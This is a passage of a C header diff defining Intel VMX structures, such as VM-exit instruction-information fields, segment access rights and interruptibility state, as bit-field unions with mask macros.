VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_INSTRUCTION_MASK 0x03 +#define VMX_VMEXIT_INSTRUCTION_INFO_GDTR_IDTR_ACCESS_INSTRUCTION(_) (((_) >> 28) & 0x03) + uint64_t reserved4 : 34; + }; + + uint64_t flags; +} vmx_vmexit_instruction_info_gdtr_idtr_access; + +/** + * @brief VM-Exit Instruction-Information Field as Used for LLDT, LTR, SLDT, and STR + */ +typedef union +{ + struct + { + /** + * @brief Scaling + * + * [Bits 1:0] 0: no scaling + * 1: scale by 2 + * 2: scale by 4 + * 3: scale by 8 (used only on processors that support Intel 64 architecture) + * Undefined for instructions with no index register (bit 22 is set). + */ + uint64_t scaling : 2; +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_SCALING_BIT 0 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_SCALING_FLAG 0x03 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_SCALING_MASK 0x03 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_SCALING(_) (((_) >> 0) & 0x03) + uint64_t reserved1 : 1; + + /** + * [Bits 6:3] Reg1. Undefined for memory instructions (bit 10 is clear). + */ + uint64_t reg_1 : 4; +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_REG_1_BIT 3 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_REG_1_FLAG 0x78 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_REG_1_MASK 0x0F +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_REG_1(_) (((_) >> 3) & 0x0F) + + /** + * @brief Address size + * + * [Bits 9:7] 0: 16-bit + * 1: 32-bit + * 2: 64-bit (used only on processors that support Intel 64 architecture) + * Other values not used. Undefined for register instructions (bit 10 is set). + */ + uint64_t address_size : 3; +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_ADDRESS_SIZE_BIT 7 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_ADDRESS_SIZE_FLAG 0x380 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_ADDRESS_SIZE_MASK 0x07 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_ADDRESS_SIZE(_) (((_) >> 7) & 0x07) + + /** + * [Bit 10] Mem/Reg (0 = memory; 1 = register). + */ + uint64_t memory_register : 1; +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_MEMORY_REGISTER_BIT 10 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_MEMORY_REGISTER_FLAG 0x400 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_MEMORY_REGISTER_MASK 0x01 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_MEMORY_REGISTER(_) (((_) >> 10) & 0x01) + uint64_t reserved2 : 4; + + /** + * @brief Segment register + * + * [Bits 17:15] 0: ES + * 1: CS + * 2: SS + * 3: DS + * 4: FS + * 5: GS + * Other values not used. Undefined for register instructions (bit 10 is set). + */ + uint64_t segment_register : 3; +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_SEGMENT_REGISTER_BIT 15 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_SEGMENT_REGISTER_FLAG 0x38000 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_SEGMENT_REGISTER_MASK 0x07 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_SEGMENT_REGISTER(_) (((_) >> 15) & 0x07) + + /** + * [Bits 21:18] General-purpose register. Undefined for register instructions (bit 10 is set) and for memory instructions + * with no index register (bit 10 is clear and bit 22 is set). + */ + uint64_t general_purpose_register : 4; +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_GENERAL_PURPOSE_REGISTER_BIT 18 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_GENERAL_PURPOSE_REGISTER_FLAG 0x3C0000 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_GENERAL_PURPOSE_REGISTER_MASK 0x0F +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_GENERAL_PURPOSE_REGISTER(_) (((_) >> 18) & 0x0F) + + /** + * [Bit 22] IndexReg invalid (0 = valid; 1 = invalid). Undefined for register instructions (bit 10 is set). + */ + uint64_t general_purpose_register_invalid : 1; +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_GENERAL_PURPOSE_REGISTER_INVALID_BIT 22 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_GENERAL_PURPOSE_REGISTER_INVALID_FLAG 0x400000 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_GENERAL_PURPOSE_REGISTER_INVALID_MASK 0x01 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_GENERAL_PURPOSE_REGISTER_INVALID(_) (((_) >> 22) & 0x01) + + /** + * [Bits 26:23] BaseReg (encoded as IndexReg above). Undefined for register instructions (bit 10 is set) and for memory + * instructions with no base register (bit 10 is clear and bit 27 is set). + */ + uint64_t base_register : 4; +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_BASE_REGISTER_BIT 23 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_BASE_REGISTER_FLAG 0x7800000 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_BASE_REGISTER_MASK 0x0F +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_BASE_REGISTER(_) (((_) >> 23) & 0x0F) + + /** + * [Bit 27] BaseReg invalid (0 = valid; 1 = invalid). Undefined for register instructions (bit 10 is set). + */ + uint64_t base_register_invalid : 1; +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_BASE_REGISTER_INVALID_BIT 27 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_BASE_REGISTER_INVALID_FLAG 0x8000000 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_BASE_REGISTER_INVALID_MASK 0x01 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_BASE_REGISTER_INVALID(_) (((_) >> 27) & 0x01) + + /** + * @brief Instruction identity + * + * [Bits 29:28] 0: SLDT + * 1: STR + * 2: LLDT + * 3: LTR + */ + uint64_t instruction : 2; +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_INSTRUCTION_BIT 28 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_INSTRUCTION_FLAG 0x30000000 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_INSTRUCTION_MASK 0x03 +#define VMX_VMEXIT_INSTRUCTION_INFO_LDTR_TR_ACCESS_INSTRUCTION(_) (((_) >> 28) & 0x03) + uint64_t reserved3 : 34; + }; + + uint64_t flags; +} vmx_vmexit_instruction_info_ldtr_tr_access; + +/** + * @brief VM-Exit Instruction-Information Field as Used for RDRAND and RDSEED + */ +typedef union +{ + struct + { + uint64_t reserved1 : 3; + + /** + * [Bits 6:3] Destination register. + */ + uint64_t destination_register : 4; +#define VMX_VMEXIT_INSTRUCTION_INFO_RDRAND_RDSEED_DESTINATION_REGISTER_BIT 3 +#define VMX_VMEXIT_INSTRUCTION_INFO_RDRAND_RDSEED_DESTINATION_REGISTER_FLAG 0x78 +#define VMX_VMEXIT_INSTRUCTION_INFO_RDRAND_RDSEED_DESTINATION_REGISTER_MASK 0x0F +#define VMX_VMEXIT_INSTRUCTION_INFO_RDRAND_RDSEED_DESTINATION_REGISTER(_) (((_) >> 3) & 0x0F) + uint64_t reserved2 : 4; + + /** + * @brief Operand size + * + * [Bits 12:11] 0: 16-bit + * 1: 32-bit + * 2: 64-bit + * The value 3 is not used. + */ + uint64_t operand_size : 2; +#define VMX_VMEXIT_INSTRUCTION_INFO_RDRAND_RDSEED_OPERAND_SIZE_BIT 11 +#define VMX_VMEXIT_INSTRUCTION_INFO_RDRAND_RDSEED_OPERAND_SIZE_FLAG 0x1800 +#define VMX_VMEXIT_INSTRUCTION_INFO_RDRAND_RDSEED_OPERAND_SIZE_MASK 0x03 +#define VMX_VMEXIT_INSTRUCTION_INFO_RDRAND_RDSEED_OPERAND_SIZE(_) (((_) >> 11) & 0x03) + uint64_t reserved3 : 51; + }; + + uint64_t flags; +} vmx_vmexit_instruction_info_rdrand_rdseed; + +/** + * @brief VM-Exit Instruction-Information Field as Used for VMCLEAR, VMPTRLD, VMPTRST, VMXON, XRSTORS, and XSAVES + */ +typedef union +{ + struct + { + /** + * @brief Scaling + * + * [Bits 1:0] 0: no scaling + * 1: scale by 2 + * 2: scale by 4 + * 3: scale by 8 (used only on processors that support Intel 64 architecture) + * Undefined for instructions with no index register (bit 22 is set). + */ + uint64_t scaling : 2; +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_SCALING_BIT 0 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_SCALING_FLAG 0x03 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_SCALING_MASK 0x03 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_SCALING(_) (((_) >> 0) & 0x03) + uint64_t reserved1 : 5; + + /** + * @brief Address size + * + * [Bits 9:7] 0: 16-bit + * 1: 32-bit + * 2: 64-bit (used only on processors that support Intel 64 architecture) + * Other values not used. + */ + uint64_t address_size : 3; +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_ADDRESS_SIZE_BIT 7 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_ADDRESS_SIZE_FLAG 0x380 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_ADDRESS_SIZE_MASK 0x07 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_ADDRESS_SIZE(_) (((_) >> 7) & 0x07) + uint64_t reserved2 : 5; + + /** + * @brief Segment register + * + * [Bits 17:15] 0: ES + * 1: CS + * 2: SS + * 3: DS + * 4: FS + * 5: GS + * Other values not used. + */ + uint64_t segment_register : 3; +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_SEGMENT_REGISTER_BIT 15 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_SEGMENT_REGISTER_FLAG 0x38000 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_SEGMENT_REGISTER_MASK 0x07 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_SEGMENT_REGISTER(_) (((_) >> 15) & 0x07) + + /** + * [Bits 21:18] General-purpose register. Undefined for instructions with no index register (bit 22 is set). + */ + uint64_t general_purpose_register : 4; +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_GENERAL_PURPOSE_REGISTER_BIT 18 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_GENERAL_PURPOSE_REGISTER_FLAG 0x3C0000 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_GENERAL_PURPOSE_REGISTER_MASK 0x0F +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_GENERAL_PURPOSE_REGISTER(_) (((_) >> 18) & 0x0F) + + /** + * [Bit 22] IndexReg invalid (0 = valid; 1 = invalid). + */ + uint64_t general_purpose_register_invalid : 1; +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_GENERAL_PURPOSE_REGISTER_INVALID_BIT 22 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_GENERAL_PURPOSE_REGISTER_INVALID_FLAG 0x400000 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_GENERAL_PURPOSE_REGISTER_INVALID_MASK 0x01 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_GENERAL_PURPOSE_REGISTER_INVALID(_) (((_) >> 22) & 0x01) + + /** + * [Bits 26:23] BaseReg (encoded as IndexReg above). Undefined for memory instructions with no base register (bit 27 is + * set). + */ + uint64_t base_register : 4; +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_BASE_REGISTER_BIT 23 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_BASE_REGISTER_FLAG 0x7800000 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_BASE_REGISTER_MASK 0x0F +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_BASE_REGISTER(_) (((_) >> 23) & 0x0F) + + /** + * [Bit 27] BaseReg invalid (0 = valid; 1 = invalid). + */ + uint64_t base_register_invalid : 1; +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_BASE_REGISTER_INVALID_BIT 27 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_BASE_REGISTER_INVALID_FLAG 0x8000000 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_BASE_REGISTER_INVALID_MASK 0x01 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMX_AND_XSAVES_BASE_REGISTER_INVALID(_) (((_) >> 27) & 0x01) + uint64_t reserved3 : 36; + }; + + uint64_t flags; +} vmx_vmexit_instruction_info_vmx_and_xsaves; + +/** + * @brief VM-Exit Instruction-Information Field as Used for VMREAD and VMWRITE + */ +typedef union +{ + struct + { + /** + * @brief Scaling + * + * [Bits 1:0] 0: no scaling + * 1: scale by 2 + * 2: scale by 4 + * 3: scale by 8 (used only on processors that support Intel 64 architecture) + * Undefined for register instructions (bit 10 is set) and for memory instructions with no index register (bit 10 is clear + * and bit 22 is set). + */ + uint64_t scaling : 2; +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_SCALING_BIT 0 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_SCALING_FLAG 0x03 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_SCALING_MASK 0x03 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_SCALING(_) (((_) >> 0) & 0x03) + uint64_t reserved1 : 1; + + /** + * [Bits 6:3] Reg1. Undefined for memory instructions (bit 10 is clear). + */ + uint64_t register_1 : 4; +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_REGISTER_1_BIT 3 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_REGISTER_1_FLAG 0x78 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_REGISTER_1_MASK 0x0F +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_REGISTER_1(_) (((_) >> 3) & 0x0F) + + /** + * @brief Address size + * + * [Bits 9:7] 0: 16-bit + * 1: 32-bit + * 2: 64-bit (used only on processors that support Intel 64 architecture) + * Other values not used. Undefined for register instructions (bit 10 is set). + */ + uint64_t address_size : 3; +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_ADDRESS_SIZE_BIT 7 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_ADDRESS_SIZE_FLAG 0x380 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_ADDRESS_SIZE_MASK 0x07 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_ADDRESS_SIZE(_) (((_) >> 7) & 0x07) + + /** + * [Bit 10] Mem/Reg (0 = memory; 1 = register). + */ + uint64_t memory_register : 1; +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_MEMORY_REGISTER_BIT 10 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_MEMORY_REGISTER_FLAG 0x400 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_MEMORY_REGISTER_MASK 0x01 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_MEMORY_REGISTER(_) (((_) >> 10) & 0x01) + uint64_t reserved2 : 4; + + /** + * @brief Segment register + * + * [Bits 17:15] 0: ES + * 1: CS + * 2: SS + * 3: DS + * 4: FS + * 5: GS + * Other values not used. Undefined for register instructions (bit 10 is set). + */ + uint64_t segment_register : 3; +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_SEGMENT_REGISTER_BIT 15 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_SEGMENT_REGISTER_FLAG 0x38000 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_SEGMENT_REGISTER_MASK 0x07 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_SEGMENT_REGISTER(_) (((_) >> 15) & 0x07) + + /** + * [Bits 21:18] General-purpose register. Undefined for register instructions (bit 10 is set) and for memory instructions + * with no index register (bit 10 is clear and bit 22 is set). + */ + uint64_t general_purpose_register : 4; +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_GENERAL_PURPOSE_REGISTER_BIT 18 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_GENERAL_PURPOSE_REGISTER_FLAG 0x3C0000 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_GENERAL_PURPOSE_REGISTER_MASK 0x0F +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_GENERAL_PURPOSE_REGISTER(_) (((_) >> 18) & 0x0F) + + /** + * [Bit 22] IndexReg invalid (0 = valid; 1 = invalid). Undefined for register instructions (bit 10 is set). + */ + uint64_t general_purpose_register_invalid : 1; +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_GENERAL_PURPOSE_REGISTER_INVALID_BIT 22 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_GENERAL_PURPOSE_REGISTER_INVALID_FLAG 0x400000 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_GENERAL_PURPOSE_REGISTER_INVALID_MASK 0x01 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_GENERAL_PURPOSE_REGISTER_INVALID(_) (((_) >> 22) & 0x01) + + /** + * [Bits 26:23] BaseReg (encoded as Reg1 above). Undefined for register instructions (bit 10 is set) and for memory + * instructions with no base register (bit 10 is clear and bit 27 is set). + */ + uint64_t base_register : 4; +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_BASE_REGISTER_BIT 23 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_BASE_REGISTER_FLAG 0x7800000 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_BASE_REGISTER_MASK 0x0F +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_BASE_REGISTER(_) (((_) >> 23) & 0x0F) + + /** + * [Bit 27] BaseReg invalid (0 = valid; 1 = invalid). + */ + uint64_t base_register_invalid : 1; +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_BASE_REGISTER_INVALID_BIT 27 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_BASE_REGISTER_INVALID_FLAG 0x8000000 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_BASE_REGISTER_INVALID_MASK 0x01 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_BASE_REGISTER_INVALID(_) (((_) >> 27) & 0x01) + + /** + * [Bits 31:28] Reg2 (same encoding as IndexReg above). + */ + uint64_t register_2 : 4; +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_REGISTER_2_BIT 28 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_REGISTER_2_FLAG 0xF0000000 +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_REGISTER_2_MASK 0x0F +#define VMX_VMEXIT_INSTRUCTION_INFO_VMREAD_VMWRITE_REGISTER_2(_) (((_) >> 28) & 0x0F) + uint64_t reserved3 : 32; + }; + + uint64_t flags; +} vmx_vmexit_instruction_info_vmread_vmwrite; + +/** + * @} + */ + + /** + * @brief - The low 16 bits correspond to bits 23:8 of the upper 32 bits of a 64-bit segment descriptor. While bits 19:16 + * of code-segment and data-segment descriptors correspond to the upper 4 bits of the segment limit, the corresponding bits + * (bits 11:8) are reserved in this VMCS field. + * - Bit 16 indicates an unusable segment. Attempts to use such a segment fault except in 64-bit mode. In general, a + * segment register is unusable if it has been loaded with a null selector. + * - Bits 31:17 are reserved + * + * @note There are a few exceptions to this statement. For example, a segment with a non-null selector may be unusable + * following a task switch that fails after its commit point. In contrast, the TR register is usable after processor reset + * despite having a null selector + * @see SEGMENT_DESCRIPTOR_32 + * @see SEGMENT_DESCRIPTOR_64 + * @see XXX_ACCESS_RIGHTS fields of 32_BIT_GUEST_STATE_FIELDS + * @see Vol3C[24.4.2(Guest Non-Register State)] (reference) + */ +typedef union +{ + struct + { + /** + * [Bits 3:0] Segment type. + */ + uint32_t type : 4; +#define VMX_SEGMENT_ACCESS_RIGHTS_TYPE_BIT 0 +#define VMX_SEGMENT_ACCESS_RIGHTS_TYPE_FLAG 0x0F +#define VMX_SEGMENT_ACCESS_RIGHTS_TYPE_MASK 0x0F +#define VMX_SEGMENT_ACCESS_RIGHTS_TYPE(_) (((_) >> 0) & 0x0F) + + /** + * [Bit 4] S - Descriptor type (0 = system; 1 = code or data). + */ + uint32_t descriptor_type : 1; +#define VMX_SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_TYPE_BIT 4 +#define VMX_SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_TYPE_FLAG 0x10 +#define VMX_SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_TYPE_MASK 0x01 +#define VMX_SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_TYPE(_) (((_) >> 4) & 0x01) + + /** + * [Bits 6:5] DPL - Descriptor privilege level. + */ + uint32_t descriptor_privilege_level : 2; +#define VMX_SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_PRIVILEGE_LEVEL_BIT 5 +#define VMX_SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_PRIVILEGE_LEVEL_FLAG 0x60 +#define VMX_SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_PRIVILEGE_LEVEL_MASK 0x03 +#define VMX_SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_PRIVILEGE_LEVEL(_) (((_) >> 5) & 0x03) + + /** + * [Bit 7] P - Segment present. + */ + uint32_t present : 1; +#define VMX_SEGMENT_ACCESS_RIGHTS_PRESENT_BIT 7 +#define VMX_SEGMENT_ACCESS_RIGHTS_PRESENT_FLAG 0x80 +#define VMX_SEGMENT_ACCESS_RIGHTS_PRESENT_MASK 0x01 +#define VMX_SEGMENT_ACCESS_RIGHTS_PRESENT(_) (((_) >> 7) & 0x01) + uint32_t reserved1 : 4; + + /** + * [Bit 12] AVL - Available for use by system software. + */ + uint32_t available_bit : 1; +#define VMX_SEGMENT_ACCESS_RIGHTS_AVAILABLE_BIT_BIT 12 +#define VMX_SEGMENT_ACCESS_RIGHTS_AVAILABLE_BIT_FLAG 0x1000 +#define VMX_SEGMENT_ACCESS_RIGHTS_AVAILABLE_BIT_MASK 0x01 +#define VMX_SEGMENT_ACCESS_RIGHTS_AVAILABLE_BIT(_) (((_) >> 12) & 0x01) + + /** + * [Bit 13] Reserved (except for CS). L - 64-bit mode active (for CS only). + */ + uint32_t long_mode : 1; +#define VMX_SEGMENT_ACCESS_RIGHTS_LONG_MODE_BIT 13 +#define VMX_SEGMENT_ACCESS_RIGHTS_LONG_MODE_FLAG 0x2000 +#define VMX_SEGMENT_ACCESS_RIGHTS_LONG_MODE_MASK 0x01 +#define VMX_SEGMENT_ACCESS_RIGHTS_LONG_MODE(_) (((_) >> 13) & 0x01) + + /** + * [Bit 14] D/B - Default operation size (0 = 16-bit segment; 1 = 32-bit segment). + */ + uint32_t default_big : 1; +#define VMX_SEGMENT_ACCESS_RIGHTS_DEFAULT_BIG_BIT 14 +#define VMX_SEGMENT_ACCESS_RIGHTS_DEFAULT_BIG_FLAG 0x4000 +#define VMX_SEGMENT_ACCESS_RIGHTS_DEFAULT_BIG_MASK 0x01 +#define VMX_SEGMENT_ACCESS_RIGHTS_DEFAULT_BIG(_) (((_) >> 14) & 0x01) + + /** + * [Bit 15] G - Granularity. + */ + uint32_t granularity : 1; +#define VMX_SEGMENT_ACCESS_RIGHTS_GRANULARITY_BIT 15 +#define VMX_SEGMENT_ACCESS_RIGHTS_GRANULARITY_FLAG 0x8000 +#define VMX_SEGMENT_ACCESS_RIGHTS_GRANULARITY_MASK 0x01 +#define VMX_SEGMENT_ACCESS_RIGHTS_GRANULARITY(_) (((_) >> 15) & 0x01) + + /** + * [Bit 16] Segment unusable (0 = usable; 1 = unusable). + */ + uint32_t unusable : 1; +#define VMX_SEGMENT_ACCESS_RIGHTS_UNUSABLE_BIT 16 +#define VMX_SEGMENT_ACCESS_RIGHTS_UNUSABLE_FLAG 0x10000 +#define VMX_SEGMENT_ACCESS_RIGHTS_UNUSABLE_MASK 0x01 +#define VMX_SEGMENT_ACCESS_RIGHTS_UNUSABLE(_) (((_) >> 16) & 0x01) + uint32_t reserved2 : 15; + }; + + uint32_t flags; +} vmx_segment_access_rights; + +/** + * @brief The IA-32 architecture includes features that permit certain events to be blocked for a period of time. This + * field contains information about such blocking + * + * @see INTERRUPTIBILITY_STATE of 32_BIT_GUEST_STATE_FIELDS + * @see Vol3C[24.4.2(Guest Non-Register State)] (reference) + */ +typedef union +{ + struct + { + /** + * [Bit 0] Execution of STI with RFLAGS.IF = 0 blocks maskable interrupts on the instruction boundary following its + * execution.1 Setting this bit indicates that this blocking is in effect. + * + * @see Vol2B[4(STI-Set Interrupt Flag)] + */ + uint32_t blocking_by_sti : 1; +#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_STI_BIT 0 +#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_STI_FLAG 0x01 +#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_STI_MASK 0x01 +#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_STI(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Execution of a MOV to SS or a POP to SS blocks or suppresses certain debug exceptions as well as interrupts + * (maskable and nonmaskable) on the instruction boundary following its execution. Setting this bit indicates that this + * blocking is in effect. This document uses the term "blocking by MOV SS," but it applies equally to POP SS. + * + * @see Vol3A[6.8.3(Masking Exceptions and Interrupts When Switching Stacks)] + */ + uint32_t blocking_by_mov_ss : 1; +#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_MOV_SS_BIT 1 +#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_MOV_SS_FLAG 0x02 +#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_MOV_SS_MASK 0x01 +#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_MOV_SS(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] System-management interrupts (SMIs) are disabled while the processor is in system-management mode (SMM). Setting + * this bit indicates that blocking of SMIs is in effect. + * + * @see Vol3C[34.2(System Management Interrupt (SMI))] + */ + uint32_t blocking_by_smi : 1; +#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_SMI_BIT 2 +#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_SMI_FLAG 0x04 +#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_SMI_MASK 0x01 +#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_SMI(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] Delivery of a non-maskable interrupt (NMI) or a system-management interrupt (SMI) blocks subsequent NMIs until + * the next execution of IRET. Setting this bit indicates that blocking of NMIs is in effect. Clearing this bit does not + * imply that NMIs are not (temporarily) blocked for other reasons. If the "virtual NMIs" VM-execution control is 1, this + * bit does not control the blocking of NMIs. Instead, it refers to "virtual-NMI blocking" (the fact that guest software is + * not ready for an NMI). + * + * @see Vol3C[6.7.1(Handling Multiple NMIs)] + * @see Vol3C[25.3(CHANGES TO INSTRUCTION BEHAVIOR IN VMX NON-ROOT OPERATION)] + * @see Vol3C[24.6.1(Pin-Based VM-Execution Controls)] + */ + uint32_t blocking_by_nmi : 1; +#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_NMI_BIT 3 +#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_NMI_FLAG 0x08 +#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_NMI_MASK 0x01 +#define VMX_INTERRUPTIBILITY_STATE_BLOCKING_BY_NMI(_) (((_) >> 3) & 0x01) + + /** + * [Bit 4] A VM exit saves this bit as 1 to indicate that the VM exit was incident to enclave mode. + */ + uint32_t enclave_interruption : 1; +#define 